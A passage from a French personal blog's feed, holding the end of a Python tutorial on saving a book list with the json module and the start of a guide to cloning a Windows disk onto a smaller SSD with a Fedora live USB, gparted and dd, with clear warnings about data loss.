&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Les annales du disque monde&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;edition&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Hachette&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;livre2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dumps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;edition&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Galimard&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Harry Potter 1&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;J. K. Rowling&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;}, {&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;edition&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Hachette&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Les annales du disque monde&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Terry Pratchett&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;}]&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Tout en bas, la chaine de caractère, c’est la représentation JSON du contenu de votre variable bibliotheque. Copiez-collez le et ouvrez une nouvelle fenêtre python pour taper :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;loads&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;edition&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Galimard&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Harry Potter 1&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;J. K. Rowling&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;}, {&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;edition&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Hachette&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Les annales du disque monde&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Terry Pratchett&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;}]&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Harry Potter 1&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Voilà, votre tableau bibliothèque a été chargé avec le même contenu que tout à l’heure, sans que vous n’ayez vous même à convertir quoi que ce soit !&lt;/p&gt;

&lt;h2 id=&quot;utiliser-json-avec-des-fichiers&quot;&gt;Utiliser json avec des fichiers&lt;/h2&gt;

&lt;p&gt;Si on voulait réécrire les fonction sauvegarde() et charger() précédentes, on pourrait utiliser les fonctions déjà existantes de json pour écrire dans un fichier. &lt;strong&gt;Notez la présence d’un S à la fin dans json.loads() et json.dumps() au dessus qui génèrent une chaine de caractère VS l’absence de ce S dans json.load() et json.dump() qui écrivent directement dans un fichier&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sauvegarder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;sauvegarde.txt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fichier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fichier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;charger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;sauvegarde.txt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fichier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fichier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    
&lt;span class=&quot;c1&quot;&gt;# On créer un nouveau tableau qui contiendra nos livres
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;sauvegarde.txt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;charger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# On créer un dictionnaire python
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre &amp;gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur &amp;gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;edition&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;edition &amp;gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;sauvegarder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;JSON ne sert pas qu’à sauvegarder des fichiers. Il permets aussi de faire communiquer des programmes écrits dans des langages différents via le réseau par exemple.&lt;/p&gt;

&lt;p&gt;Bon courage !&lt;/p&gt;
</description>
        <pubDate>Sun, 22 Jan 2017 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2017-01-22/json/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2017-01-22/json/</guid>
      </item>
    
    
    
      <item>
        <title>Migrer vers un disque plus petit</title>
        
        <description>&lt;p&gt;J’ai un peu cherché sur internet comment migrer vers un SSD plus petit que le disque dur d’origine sans trouvé de vrai guide détaillé. Souvent moqué, c’est une idée loin d’être bête. En effet, certains de mes PC n’ont besoin que de 250Go d’espace disque mais ont de vieux disques dur de 500Go. Autant migrer sur des SSD de 250 Go !&lt;/p&gt;

&lt;p&gt;Dans mon cas, j’ai effectué cette procédure sur 2 PCs sous Windows 10, avec 2 ou 3 partitions (System Reserved - des fois, la partition C:, et la partition diag).&lt;/p&gt;

&lt;h2 id=&quot;avertissement-&quot;&gt;Avertissement !&lt;/h2&gt;

&lt;p&gt;Je ne suis pas responsable si vous perdez des données. Il existe de nombreuses raisons pour que les opérations décrite après se passent mal : cas particulier, erreur matériel, perte de courant, erreur humaine, etc.&lt;/p&gt;

&lt;p&gt;Nous allons utiliser l’outil &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dd&lt;/code&gt; en ligne de commande qui est loin d’être un outil user friendly. Inversez deux paramètres et vous vous retrouverez à copier le contenu de votre SSD vide sur votre disque dur. C’est ce qui lui vaut le doux surnom de &lt;em&gt;Data Destroyer&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Vous ne devriez tenter le coup qu’après avoir sauvegardé toutes les données importantes sur un autre support qui sera déconnecté lors de la manipulation ainsi qu’avoir de quoi réinstaller un système complet en cas d’échec (et le temps de le faire !).&lt;/p&gt;

&lt;h2 id=&quot;étape-1---bien-se-préparer&quot;&gt;Étape 1 - Bien se préparer&lt;/h2&gt;

&lt;p&gt;Dans notre cas on va utiliser la dernière version de &lt;a href=&quot;https://getfedora.org/fr/workstation/download/&quot;&gt;Fedora 25 Workstation&lt;/a&gt;. Vous pourrez probablement adapter ce tutoriel avec n’importe quelle distribution live.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Le choix d’une distribution générique est critiquable sachant que des distributions gparted live existent, mais elle permet d’éviter certaines déconvenues comme le support de plus de materiels, mieux testées, plus polyvalente en cas de problème, etc.&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Une fois votre image téléchargée, vous devez “l’écrire” sur une clé USB (ou un DVD).
Depuis Windows, je vous conseille l’outil &lt;a href=&quot;https://rufus.akeo.ie/&quot;&gt;Rufus&lt;/a&gt;.
Depuis Linux ou Mac OS, nous allons utiliser &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dd&lt;/code&gt;.
&lt;em&gt;Si vous êtes sous Fedora, vous pouvez utiliser l’outil Disques (Disks en anglais, gnome-disks depuis la cli) pour trouver le path de votre clé USB - ici &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/sdb&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo dd if=image.iso of=/dev/sdb bs=4M
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Avant de commencer, il est important de laisser votre partition NTFS en bon état. Et donc d’éteindre complètement votre ordinateur.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;En effet, par défaut depuis Windows 8, windows mets en cache et verrouille la partition NTFS quand vous cliquez sur éteindre pour permettre un démarrage plus rapide. Il existe d’autres raisons pour que votre partitiion soit verrouillée. Vous vous en rendrez compte, si ça vous arrive, au moment de redimensionner la partition avec gparted : vous ne pourrez pas et cette dernière présentera un panneau avertissement devant.&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-batch highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;shutdown&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/s /t &lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Branchez aussi votre SSD sur l’ordinateur. Afin de me simplifier la vie et ne pas m’amuser à trouver un autre cable SATA et d’alimentation, j’ai branché le SSD en USB sur l’ordinateur avec le contrôleur que j’ai récupéré d’un disque dur externe. Si vous avez un boitier disque dur externe avec possibilité de mettre votre propre disque, c’est la même chose.&lt;/p&gt;

&lt;h2 id=&quot;étape-2---configurer-linstance-live-de-fedora&quot;&gt;Étape 2 - Configurer l’instance live de Fedora&lt;/h2&gt;

&lt;p&gt;On va boot sur la clé USB Fedora live 25. Le démarrage peut être un peu long.&lt;/p&gt;

&lt;p&gt;Notre première étape sera de passer notre clavier en français azerty (ou n’importe quel autre format en fait).
Depuis les paramètres, on va choisir “Région et Langues” puis ajouter une “Input Source”&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/cloner-param.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/cloner-param.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;/assets/images/posts/cloner-param2.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/cloner-param2.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ensuite on va installer gparted :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo dnf install -y gparted
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;étape-3---diminuer-la-taille-des-partitions&quot;&gt;Étape 3 - Diminuer la taille des partitions&lt;/h2&gt;

&lt;p&gt;Nous allons commencer par lancer gparted&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo gparted
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Assurez-vous que le disque selectionné est le bon (en haut à droite).
On va redimensioner nos partitions de tel sorte à avoir l’ensemble de nos partitions plus petite que le disque de destination au début du disque.
Ainsi, si votre disque cible fait 250 Go, essayez de n’avoir que les 200 premiers Go d’occupés sur votre disque, le reste devant être vide.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/cloner-resize.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/cloner-resize.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Si on se laisse une marge de manoeuvre, c’est pour éviter les erreurs de calculs liées aux divers unités utilisées, aux tailles de blocs, etc. Pas d’inquiétude, on étendra la partition une fois copiée pour utiliser tout l’espace à disposition.&lt;/p&gt;

&lt;p&gt;Vous aurez peut être à bouger des partitions, apparemment ça peut poser des problèmes. A vous de faire attention !&lt;/p&gt;

&lt;h2 id=&quot;étape-4---copier-le-contenu-du-disque-sur-le-ssd&quot;&gt;Étape 4 - Copier le contenu du disque sur le SSD&lt;/h2&gt;

&lt;p&gt;Utilisez l’utilitaire de disque de Fedora pour facilement identifier vos disques.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/cloner-disk2.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/cloner-disk2.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;/assets/images/posts/cloner-disk3.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/cloner-disk3.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ici, on va copier notre disque dur &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/sda&lt;/code&gt; vers le SSD &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/sdg&lt;/code&gt; avec une taille de bloc de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4M&lt;/code&gt; et on va afficher l’avancement avec &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;status=progress&lt;/code&gt;.&lt;/p&gt;

